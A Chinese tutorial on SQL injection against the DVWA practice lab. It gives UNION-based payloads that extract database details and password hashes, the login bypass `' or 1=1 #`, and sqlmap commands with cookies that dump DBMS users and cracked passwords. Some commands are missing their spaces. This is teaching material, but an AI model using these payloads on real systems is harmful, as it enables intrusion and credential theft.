1. 程式人生 > 實用技巧 >sql注入與sqlmap

sql注入與sqlmap

一、Sql注入簡介

Sql 注入攻擊是通過將惡意的 Sql 查詢或新增語句插入到應用的輸入引數中,再在後臺 Sql 伺服器上解析執行進行的攻擊,它目前黑客對資料庫進行攻擊的最常用手段之一。

二、Web 程式三層架構

三層架構(3-tier architecture) 通常意義上就是將整個業務應用劃分為:

  • 介面層(User Interface layer)

  • 業務邏輯層(Business Logic Layer)

  • 資料訪問層(Data access layer)。

區分層次的目的即為了“高內聚低耦合”的思想。在軟體體系架構設計中,分層式結構是最常見,也是最重要的一種結構被應用於眾多型別的軟體開發。
由資料庫驅動的Web應用程式依從三層架構的思想也分為了三層:

  • 表示層。

  • 業務邏輯層(又稱領域層)

  • 資料訪問層(又稱儲存層)

拓撲結構如下圖所示

在上圖中,使用者訪問實驗樓主頁進行了如下過程:

  • 在 Web 瀏覽器中輸入www.shiyanlou.com連線到實驗樓伺服器。

  • 業務邏輯層的 Web 伺服器從本地儲存中載入index.php指令碼並解析。

  • 指令碼連線位於資料訪問層的DBMS(資料庫管理系統),並執行Sql語句。

  • 資料訪問層的資料庫管理系統返回Sql語句執行結果給 Web 伺服器。

  • 業務邏輯層的 Web 伺服器將 Web 頁面封裝成 HTML 格式傳送給表示層的 Web 瀏覽器。

  • 表示層的 Web 瀏覽器解析 HTML 檔案,將內容展示給使用者。

在三層架構中,所有通訊都必須要經過中間層,簡單地說,三層架構是一種線性關係

三、Sql 注入漏洞詳解

3.1 Sql 注入產生原因及威脅:

剛剛講過當我們訪問動態網頁時, Web 伺服器會向資料訪問層發起 Sql 查詢請求,如果許可權驗證通過就會執行 Sql 語句。
這種網站內部直接傳送的Sql請求一般不會有危險,但實際情況是很多時候需要結合使用者的輸入資料動態構造 Sql 語句,如果使用者輸入的資料被構造成惡意 Sql 程式碼,Web 應用又未對動態構造的 Sql 語句使用的引數進行審查,則會帶來意想不到的危險。

Sql 注入帶來的威脅主要有如下幾點

  • 猜解後臺資料庫,這是利用最多的方式,盜取網站的敏感資訊。
  • 繞過認證,列如繞過驗證登入網站後臺。
  • 注入可以藉助資料庫的儲存過程進行提權等操作

3.2 Sql 注入示例一.猜解資料庫

接下來我們通過一個例項,讓你更加清楚的理解Sql 注入猜解資料庫是如何發生的。
使用DVWA滲透測試平臺,作為攻擊測試的目標:

先輸入 1 ,查看回顯 (URL中ID=1,說明php頁面通過get方法傳遞引數):

那實際上後臺執行了什麼樣的Sql語句呢?點選view source檢視原始碼 ,其中的SQL查詢程式碼為:

可以看到,實際執行的Sql語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1';

我們是通過控制引數Id的值來返回我們需要的資訊。
如果我們不按常理出牌,比如在輸入框中輸入1' order by 1#
實際執行的Sql語句就會變成:

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql語法,#後面會被註釋掉,使用這種方法遮蔽掉後面的單引號,避免語法錯誤)

這條語句的意思是查詢users表中user_id為1的資料並按第一欄位排行。

輸入1' order by 1#1' order by 2#時都返回正常:

當輸入1' order by 3#時,返回錯誤:

由此可知,users表中只有兩個欄位,資料為兩列。

接下來我們使用union select聯合查詢繼續獲取資訊。
union 運算子可以將兩個或兩個以上 select 語句的查詢結果集合合併成一個結果集合顯示,即執行聯合查詢。需要注意在使用 union 查詢的時候需要和主查詢的列數相同,而我們之前已經知道了主查詢列數為 2,接下來就好辦了。
輸入1' union select database(),user()#進行查詢 :

  • database()將會返回當前網站所使用的資料庫名字.
  • user()將會返回執行當前查詢的使用者名稱.

實際執行的Sql語句是 :

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

通過上圖返回資訊,我們成功獲取到:

  • 當前網站使用資料庫為 dvwa .
  • 當前執行查詢使用者名稱為 root@localhost .

同理我們再輸入1' union select version(),@@version_compile_os#進行查詢:

  • version() 獲取當前資料庫版本.
  • @@version_compile_os 獲取當前作業系統。

實際執行的Sql語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

通過上圖返回資訊,我們又成功獲取到:

  • 當前資料庫版本為 : 5.6.31-0ubuntu0.15.10.1.
  • 當前作業系統為 : debian-linux-gnu

接下來我們嘗試獲取 dvwa 資料庫中的表名。
information_schema是 mysql 自帶的一張表,這張資料表儲存了 Mysql 伺服器所有資料庫的資訊,如資料庫名,資料庫的表,表欄的資料型別與訪問許可權等。該資料庫擁有一個名為 tables 的資料表,該表包含兩個欄位 table_name 和 table_schema,分別記錄 DBMS 中的儲存的表名和表名所在的資料庫。

我們輸入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#進行查詢:
實際執行的Sql語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

通過上圖返回資訊,我們再獲取到:

  • dvwa 資料庫有兩個資料表,分別是 guestbook 和 users .

有些同學肯定還不滿足目前獲取到的資訊,那麼我們接下來嘗試獲取重量級的使用者名稱、密碼。
由經驗我們可以大膽猜測users表的欄位為 user 和 password ,所以輸入:1' union select user,password from users#進行查詢:
實際執行的 Sql 語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

可以看到成功爆出使用者名稱、密碼,密碼採用 md5 進行加密,可以到www.cmd5.com進行解密。
直此,同學們應該已經對 Sql 注入有了一個大概得了解,也清楚了 Sql 注入的強大。

4.3 Sql 注入例項二.驗證繞過

接下來我們再試試另一個利用Sql 漏洞繞過登入驗證的例項。
使用事先編寫好的頁面,這是一個普通的登入頁面,只要輸入正確的使用者名稱和密碼就能登入成功。

我們先嚐試隨意輸入使用者名稱 123 和密碼 123 登入:

從錯誤頁面中我們無法獲取到任何資訊。
看看後臺程式碼如何做驗證的:

s

實際執行的操作時:

select * from users where username='123' and password='123'

當查詢到資料表中存在同時滿足 username 和 password 欄位時,會返回登入成功。
按照第一個例項的思路,我們嘗試在使用者名稱中輸入123' or 1=1 #, 密碼同樣輸入123' or 1=1 #

為什麼能夠成功登陸呢?因為實際執行的語句是:

select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

按照 Mysql 語法,# 後面的內容會被忽略,所以以上語句等同於(實際上密碼框裡不輸入任何東西也一樣):

select * from users where username='123' or 1=1 

由於判斷語句 or 1=1 恆成立,所以結果當然返回真,成功登入。
我們再嘗試不使用 # 遮蔽單引號,採用手動閉合的方式:
我們嘗試在使用者名稱中輸入123' or '1'='1, 密碼同樣輸入123' or '1'='1(不能少了單引號,否則會有語法錯誤):

實際執行的 Sql 語句是:

select * from users where username='123' or '1'='1' and password='123' or '1'='1

看到了嗎?兩個 or 語句使 and 前後兩個判斷永遠恆等於真,所以能夠成功登入。

還有很多其他 Mysql 語句可以巧妙的繞過驗證,同學們可以發散自己的思維進行嘗試。

四、判斷 Sql 注入點

通常情況下,可能存在 Sql 注入漏洞的 Url 是類似這種形式 :http://xxx.xxx.xxx/abcd.php?id=XX
對 Sql 注入的判斷,主要有兩個方面:

  • 判斷該帶引數的 Url 是否存在 Sql 注入?
  • 如果存在 Sql 注入,那麼屬於哪種 Sql 注入?

可能存在 Sql 注入攻擊的 ASP/PHP/JSP 動態網頁中,一個動態網頁中可能只有一個引數,有時可能有多個引數。有時是整型引數,有時是字串型引數,不能一概而論。總之只要是帶有引數的 動態網頁且此網頁訪問了資料庫,那麼就有可能存在 Sql 注入。如果程式設計師沒有足夠的安全意識,沒有進行必要的字元過濾,存在SQL注入的可能性就非常大。

4.1 判斷是否存在 Sql 注入漏洞

最為經典的單引號判斷法
在引數後面加上單引號,比如:

http://xxx/abc.php?id=1'

如果頁面返回錯誤,則存在 Sql 注入。
原因是無論字元型還是整型都會因為單引號個數不匹配而報錯。
(如果未報錯,不代表不存在 Sql 注入,因為有可能頁面對單引號做了過濾,這時可以使用判斷語句進行注入,因為此為入門基礎課程,就不做深入講解了)

4.2 判斷 Sql 注入漏洞的型別

通常 Sql 注入漏洞分為 2 種類型:

  • 數字型
  • 字元型

其實所有的型別都是根據資料庫本身表的型別所產生的,在我們建立表的時候會發現其後總有個資料型別的限制,而不同的資料庫又有不同的資料型別,但是無論怎麼分常用的查詢資料型別總是以數字與字元來區分的,所以就會產生注入點為何種型別。

4.2.1 數字型判斷:

當輸入的參 x 為整型時,通常 abc.php 中 Sql 語句型別大致如下:
select * from <表名> where id = x
這種型別可以使用經典的and 1=1and 1=2來判斷:

    1. Url 地址中輸入http://xxx/abc.php?id= x and 1=1頁面依舊執行正常,繼續進行下一步。
    1. Url 地址中繼續輸入http://xxx/abc.php?id= x and 1=2頁面執行錯誤,則說明此 Sql 注入為數字型注入。

原因如下:
當輸入and 1=1時,後臺執行 Sql 語句:

select * from <表名> where id = x and 1=1 

沒有語法錯誤且邏輯判斷為正確,所以返回正常。

當輸入and 1=2時,後臺執行 Sql 語句:

select * from <表名> where id = x and 1=2

沒有語法錯誤但是邏輯判斷為假,所以返回錯誤。
我們再使用假設法:如果這是字元型注入的話,我們輸入以上語句之後應該出現如下情況:

select * from <表名> where id = 'x and 1=1' 
select * from <表名> where id = 'x and 1=2' 

查詢語句將 and 語句全部轉換為了字串,並沒有進行 and 的邏輯判斷,所以不會出現以上結果,故假設是不成立的。

4.2.2 字元型判斷:

當輸入的參 x 為字元型時,通常 abc.php 中 SQL 語句型別大致如下:
select * from <表名> where id = 'x'
這種型別我們同樣可以使用and '1'='1and '1'='2來判斷:

    1. Url 地址中輸入http://xxx/abc.php?id= x' and '1'='1頁面執行正常,繼續進行下一步。
    1. Url 地址中繼續輸入http://xxx/abc.php?id= x' and '1'='2頁面執行錯誤,則說明此 Sql 注入為字元型注入。

原因如下:
當輸入and '1'='1時,後臺執行 Sql 語句:

select * from <表名> where id = 'x' and '1'='1'

語法正確,邏輯判斷正確,所以返回正確。

當輸入and '1'='2時,後臺執行 Sql 語句:

select * from <表名> where id = 'x' and '1'='2'

語法正確,但邏輯判斷錯誤,所以返回正確。同學們同樣可以使用假設法來驗證。

什麼是SQLmap?

SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(資料庫指紋、訪問底層檔案系統、執行命令)。

讀者可以通過位於SourceForge的官方網站下載SQLmap原始碼:http://sourceforge.net/projects/sqlmap/

執行SQLmap的命令是什麼?

進入sqlmap.py所在的目錄,執行以下命令:

#pythonsqlmap.py-h

(譯註:選項列表太長了,而且與最新版本有些差異,所以這裡不再列出,請讀者下載最新版在自己機器上看吧)

SQLmap命令選項被歸類為目標(Target)選項、請求(Request)選項、優化、注入、檢測、技巧(Techniques)、指紋、列舉等。

如何使用SQLmap:

為方便演示,我們建立兩個虛擬機器:

1、受害者機器, windows XP作業系統,執行一個web伺服器,同時跑著一個包含漏洞的web應用(DVWA)。

2、攻擊器機器,使用Ubuntu 12.04,包含SQLmap程式。

本次實驗的目的:使用SQLmap得到以下資訊:

3、列舉MYSQL使用者名稱與密碼。

4、列舉所有資料庫。

5、列舉指定資料庫的資料表。

6、列舉指定資料表中的所有使用者名稱與密碼。

使用SQLmap之前我們得到需要當前會話cookies等資訊,用來在滲透過程中維持連線狀態,這裡使用Firefox中名為“TamperData”的add-on獲取。

當前得到的cookie為“security=high;PHPSESSID=57p5g7f32b3ffv8l45qppudqn3″。

為方便演示,我們將DVWA安全等級設定為low:

接下來我們進入頁面的“SQL Injection”部分,輸入任意值並提交。可以看到get請求的ID引數如下:

“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”

因此該頁面就是我們的目標頁面。

以下命令可以用來檢索當前資料庫和當前使用者:

“./sqlmap.py-u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low”-b–current-db–current-user”

使用選項:

1、--cookie : 設定我們的cookie值“將DVWA安全等級從high設定為low”

2、-u : 指定目標URL

3、-b : 獲取DBMS banner

4、--current-db : 獲取當前資料庫

5、--current-user:獲取當前使用者

結果如下:

可以看到結果如下:

DBMS:MySQLversion5.0
OSversionUbuntu12.04
currentuser:root
currentdb:DVWA

以下命令用來列舉所有的DBMS使用者和密碼hash,在以後更進一步的攻擊中可以對密碼hash進行破解:

“sqlmap.py-u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”--cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low”--string=”Surname”--users--password”

使用選項:

1、--string : 當查詢可用時用來匹配頁面中的字串

2、--users : 列舉DBMS使用者

3、--password : 列舉DBMS使用者密碼hash

結果如下:

databasemanagementsystemusers[142]:
[*]”@’kingasmk’
[*]”@’localhost’
[*]‘debian-sys-maint’@'localhost’
[*]‘phpmyadmin’@'localhost’
[*]‘root’@’127.0.0.1′
[*]‘root’@'::1′
[*]‘root’@'kingasmk’
[*]‘root’@'localhost’

資料庫管理系統使用者和密碼hash:

[*]debian-sys-maint[1]:
passwordhash:*C30441E06530498BC86019BF3211B94B3BAB295A
[*]phpmyadmin[1]:
passwordhash:*C30441E06530498BC86019BF3211B94B3BAB295A
[*]root[4]:
passwordhash:*C30441E06530498BC86019BF3211B94B3BAB295A
passwordhash:*C30441E06530498BC86019BF3211B94B3BAB295A
passwordhash:*C30441E06530498BC86019BF3211B94B3BAB295A
passwordhash:*C30441E06530498BC86019BF3211B94B3BAB295A

讀者可以使用Cain&Abel、John&Ripper等工具將密碼hash破解為明文。以下命令會列舉系統中所有的資料庫schema:

“sqlmap.py-u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”
--cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low”--dbs”

使用選項:

  • --dbs: 列舉DBMS中的資料庫

結果如下:

availabledatabases[5]:
[*]dvwa
[*]information_schema
[*]mysql
[*]performance_schema
[*]phpmyadmin

下面我們嘗試列舉DVWA資料表,執行以下命令:

“sqlmap.py-u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”--cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low”-Ddvwa--tables”

使用選項:

1、-D : 要列舉的DBMS資料庫

2、--tables : 列舉DBMS資料庫中的資料表

得到結果如下:

Database:dvwa
[2tables]
+————+
|guestbook|
|users|
+————+

下面獲取使用者表的列,命令如下:

“sqlmap.py-u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”--cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low”-Ddvwa-Tusers--columns”

使用選項:

  • -T : 要列舉的DBMS資料庫表

  • --columns : 列舉DBMS資料庫表中的所有列

結果如下:

Database:dvwa
Table:users
[6columns]
+————+————-+
|Column|Type|
+————+————-+
|avatar|varchar(70)|
|first_name|varchar(15)|
|last_name|varchar(15)|
|password|varchar(32)|
|user|varchar(15)|
|user_id|int(6)|
+————+————-+

如上所示,以上為我們感興趣的列,表示使用者名稱與密碼等。下面將每一列的內容提取出來。執行以下命令,將使用者與密碼錶中的所有使用者名稱與密碼dump出來:

“sqlmap.py-u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low”-Ddvwa-Tusers-Cuser,password--dump”

使用選項:

  • -T : 要列舉的DBMS資料表

  • -C: 要列舉的DBMS資料表中的列

  • --dump : 轉儲DBMS資料表項

SQLmap會提問是否破解密碼,按回車確認:

得到所有使用者名稱與明文密碼如下:

Database:dvwa
Table:users
[5entries]
+———+———+———————————————+
|user_id|user|password|
+———+———+———————————————+
|1|admin|5f4dcc3b5aa765d61d8327deb882cf99(password)|
|2|gordonb|e99a18c428cb38d5f260853678922e03(abc123)|
|3|1337|8d3533d75ae2c3966d7e0d4fcc69216b(charley)|
|4|pablo|0d107d09f5bbe40cade3de5c71e9e9b7(letmein)|
|5|smithy|5f4dcc3b5aa765d61d8327deb882cf99(password)|
+———+———+———————————————+

這時我們就可以利用admin帳戶登入做任何事了。